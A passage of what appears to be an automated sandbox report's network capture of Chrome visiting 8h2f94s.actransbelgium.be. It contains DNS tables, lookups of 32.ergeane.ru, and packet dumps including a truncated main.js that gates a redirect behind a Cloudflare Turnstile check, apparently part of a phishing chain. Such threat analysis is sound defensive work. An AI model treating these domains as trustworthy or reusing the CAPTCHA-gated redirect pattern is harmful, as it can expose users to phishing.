Dec 18, 2024 14:54:29.858836889 CET	53	56746	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:29.859219074 CET	53	57802	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:29.901659966 CET	53	61916	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:30.098064899 CET	56127	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:54:30.098198891 CET	62113	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:54:30.235131025 CET	53	56127	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:30.235151052 CET	53	62113	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:33.806611061 CET	53	58336	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:35.350402117 CET	53	54787	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:41.934076071 CET	56465	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:54:41.934076071 CET	56583	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:54:42.072149992 CET	53	56465	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:42.075006008 CET	53	56583	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 14:53:12.097727060 CET	192.168.2.16	1.1.1.1	0xfa12	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:27.092099905 CET	192.168.2.16	1.1.1.1	0xc48c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:36.534053087 CET	192.168.2.16	1.1.1.1	0x19	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:36.534202099 CET	192.168.2.16	1.1.1.1	0xa669	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 18, 2024 14:53:38.276479959 CET	192.168.2.16	1.1.1.1	0xa5b2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:38.276648998 CET	192.168.2.16	1.1.1.1	0xaa3d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 18, 2024 14:53:40.475497961 CET	192.168.2.16	1.1.1.1	0xa76c	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:40.475650072 CET	192.168.2.16	1.1.1.1	0x9c72	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 18, 2024 14:53:40.482225895 CET	192.168.2.16	1.1.1.1	0xa7e6	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:40.482562065 CET	192.168.2.16	1.1.1.1	0x25dd	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 18, 2024 14:54:22.916130066 CET	192.168.2.16	1.1.1.1	0xbaab	Standard query (0)	32.ergeane.ru	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:22.916292906 CET	192.168.2.16	1.1.1.1	0x8619	Standard query (0)	32.ergeane.ru	65	IN (0x0001)	false
Dec 18, 2024 14:54:27.452641010 CET	192.168.2.16	1.1.1.1	0xc71e	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:27.452788115 CET	192.168.2.16	1.1.1.1	0x88e5	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 18, 2024 14:54:29.721910000 CET	192.168.2.16	1.1.1.1	0x1937	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:29.722104073 CET	192.168.2.16	1.1.1.1	0xc878	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 18, 2024 14:54:30.098064899 CET	192.168.2.16	1.1.1.1	0xd35	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:30.098198891 CET	192.168.2.16	1.1.1.1	0xe164	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Dec 18, 2024 14:54:41.934076071 CET	192.168.2.16	1.1.1.1	0x9964	Standard query (0)	cdn.prod.website-files.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:41.934076071 CET	192.168.2.16	1.1.1.1	0x5cef	Standard query (0)	cdn.prod.website-files.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 14:52:56.656507969 CET	1.1.1.1	192.168.2.16	0xac12	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:52:56.656507969 CET	1.1.1.1	192.168.2.16	0xac12	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:12.311399937 CET	1.1.1.1	192.168.2.16	0xfa12	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 14:53:27.230065107 CET	1.1.1.1	192.168.2.16	0xc48c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 14:53:36.672509909 CET	1.1.1.1	192.168.2.16	0x19	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:36.672509909 CET	1.1.1.1	192.168.2.16	0x19	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:36.672530890 CET	1.1.1.1	192.168.2.16	0xa669	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 18, 2024 14:53:38.414340973 CET	1.1.1.1	192.168.2.16	0xa5b2	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:38.414375067 CET	1.1.1.1	192.168.2.16	0xaa3d	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 18, 2024 14:53:40.612740040 CET	1.1.1.1	192.168.2.16	0x9c72	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 18, 2024 14:53:40.612768888 CET	1.1.1.1	192.168.2.16	0xa76c	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:40.612768888 CET	1.1.1.1	192.168.2.16	0xa76c	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:40.619210958 CET	1.1.1.1	192.168.2.16	0xa7e6	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:40.619210958 CET	1.1.1.1	192.168.2.16	0xa7e6	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:53:40.619402885 CET	1.1.1.1	192.168.2.16	0x25dd	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 18, 2024 14:54:23.367674112 CET	1.1.1.1	192.168.2.16	0x8619	No error (0)	32.ergeane.ru			65	IN (0x0001)	false
Dec 18, 2024 14:54:23.368005037 CET	1.1.1.1	192.168.2.16	0xbaab	No error (0)	32.ergeane.ru		104.21.32.225	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:23.368005037 CET	1.1.1.1	192.168.2.16	0xbaab	No error (0)	32.ergeane.ru		172.67.156.30	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:27.593142986 CET	1.1.1.1	192.168.2.16	0xc71e	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:27.593142986 CET	1.1.1.1	192.168.2.16	0xc71e	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:27.593142986 CET	1.1.1.1	192.168.2.16	0xc71e	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:27.593142986 CET	1.1.1.1	192.168.2.16	0xc71e	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:29.859219074 CET	1.1.1.1	192.168.2.16	0x1937	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:29.859219074 CET	1.1.1.1	192.168.2.16	0x1937	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:29.859219074 CET	1.1.1.1	192.168.2.16	0x1937	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:29.859219074 CET	1.1.1.1	192.168.2.16	0x1937	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:30.235131025 CET	1.1.1.1	192.168.2.16	0xd35	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:42.072149992 CET	1.1.1.1	192.168.2.16	0x9964	No error (0)	cdn.prod.website-files.com		104.18.161.117	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:42.072149992 CET	1.1.1.1	192.168.2.16	0x9964	No error (0)	cdn.prod.website-files.com		104.18.160.117	A (IP address)	IN (0x0001)	false
Dec 18, 2024 14:54:42.075006008 CET	1.1.1.1	192.168.2.16	0x5cef	No error (0)	cdn.prod.website-files.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

8h2f94s.actransbelgium.be

https:

challenges.cloudflare.com

32.ergeane.ru

code.jquery.com

cdn.prod.website-files.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49715	192.185.158.101	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:35 UTC	668	OUT	GET / HTTP/1.1 Host: 8h2f94s.actransbelgium.be Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:35 UTC	208	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:35 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-18 13:53:35 UTC	624	IN	Data Raw: 32 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0d 0a 20 20 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 64 69 76 20 7b 0d 0a 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 6a Data Ascii: 264<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title><style> div { display: flex; align-items: center; j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49718	192.185.158.101	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:37 UTC	542	OUT	GET /main.js HTTP/1.1 Host: 8h2f94s.actransbelgium.be Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://8h2f94s.actransbelgium.be/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:38 UTC	267	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 18 Dec 2024 10:04:22 GMT Accept-Ranges: bytes Content-Length: 320 Vary: Accept-Encoding Content-Type: application/javascript
2024-12-18 13:53:38 UTC	320	IN	Data Raw: 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 74 75 72 6e 73 74 69 6c 65 2e 72 65 6e 64 65 72 28 27 23 6d 79 57 69 64 67 65 74 27 2c 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 69 74 65 6b 65 79 3a 20 27 30 78 34 41 41 41 41 41 41 41 32 5f 68 51 68 48 77 73 55 48 4d 45 76 76 27 2c 0d 0a 20 20 20 20 20 20 20 20 63 61 6c 6c 62 61 63 6b 3a 20 66 75 6e 63 74 69 6f 6e 28 74 6f 6b 65 6e 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 27 43 68 61 6c 6c 65 6e 67 65 20 53 75 63 63 65 73 73 20 24 7b 74 6f 6b 65 6e 7d 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 Data Ascii: window.onloadTurnstileCallback = function () { turnstile.render('#myWidget', { sitekey: '0x4AAAAAAA2_hQhHwsUHMEvv', callback: function(token) { console.log('Challenge Success ${token}'); window.location.hre

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49719	104.18.94.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:37 UTC	584	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://8h2f94s.actransbelgium.be/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:38 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 18 Dec 2024 13:53:38 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/787bc399e22f/api.js Server: cloudflare CF-RAY: 8f3fa3e5ff6d4332-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49722	104.18.94.41	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:53:39 UTC	568	OUT	GET /turnstile/v0/b/787bc399e22f/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://8h2f94s.actransbelgium.be/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:53:40 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 13:53:39 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 10 Dec 2024 17:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8f3fa3f088d34368-EWR alt-svc: h3=":443"; ma=86400
2024-12-18 13:53:40 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-18 13:53:40 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-12-18 13:53:40 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2024-12-18 13:53:40 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-18 13:53:40 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-18 13:53:40 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-18 13:53:40 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-18 13:53:40 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: 